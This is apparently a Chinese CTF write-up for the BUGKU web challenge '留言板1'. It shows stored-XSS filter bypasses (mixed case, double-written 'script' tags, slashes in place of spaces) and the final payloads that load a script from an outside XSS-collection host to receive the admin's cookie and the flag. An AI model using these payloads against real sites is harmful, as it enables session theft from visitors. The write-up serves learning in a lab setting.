BUGKU-WEB 留言板1

本文讲述了在解一道关于XSS问题时,作者通过尝试不同绕过方法,如大小写转换、双写和空格处理,最终在HTTPSxss平台上找到旗标的过程,分享了XSS过滤器的应对策略和新学到的知识点。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

题目描述

题目截图如下:

在这里插入图片描述

进入场景看看:
在这里插入图片描述

解题思路

  • 之间写过一题类似的,所以这题应该是有什么不同的
  • 那就按照之前的思路进行测试试试
  • 提示说:需要xss平台接收flag,这个和之前说的提示一样

相关工具

  • xss平台:https://xssaq.com
  • 对xss的一些绕过进行学习了解

解题步骤

  1. 输入测试一下script代码:
<script>alert(1)</script>

发现script被过滤了,script被替换为空。参考:str_replace()函数:将字符串中的指定字符替换为其他字符
在这里插入图片描述
2. 换个大小写的试试:

<ScRipt>ALeRt(XSS);</sCRipT>

在这里插入图片描述
还是被过滤了!,大小写绕过!

  1. 使用双写试试
<scscriptript>alert('z')</scscriptript>

解释:将中间的script替换为空,剩下的结合后又是script可以成功绕过。

在这里插入图片描述
所以确定了过滤方式之后,找个xss平台(https://xssaq.com)测试一下:
在这里插入图片描述
之后测试其中的代码,始终没有反应:
极限短码(好像不行):

<scsCRiPtript/SrC=//uj.ci/qoe>

这个好像可以正常:

<scsCRiPtript/sRC=//uj.ci/v9o></scsCRiPtript>

然后在评论区发现,管理员说xss平台需要http模式的…
在这里插入图片描述
然后我找了半天没有找到这个http的平台,但是当我再次看这个平台的时候,哦豁出来又!也就是说https其实也可以,只是比较慢而已?
在这里插入图片描述

PS:除了会大小绕过之外,其实还会对空格进行绕过。所以需要注意我们的测试代码中没有空格或者使用·/·,来绕过对空格的限制。

在这里插入图片描述

得到Flag

flag{772af954ed340063c935a60d92093504}

在这里插入图片描述

新知识点

在这里插入图片描述

在这里插入图片描述
对此,需要重点学习一下!

有用的话,请点赞收藏评论,帮助更多的同学哦

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值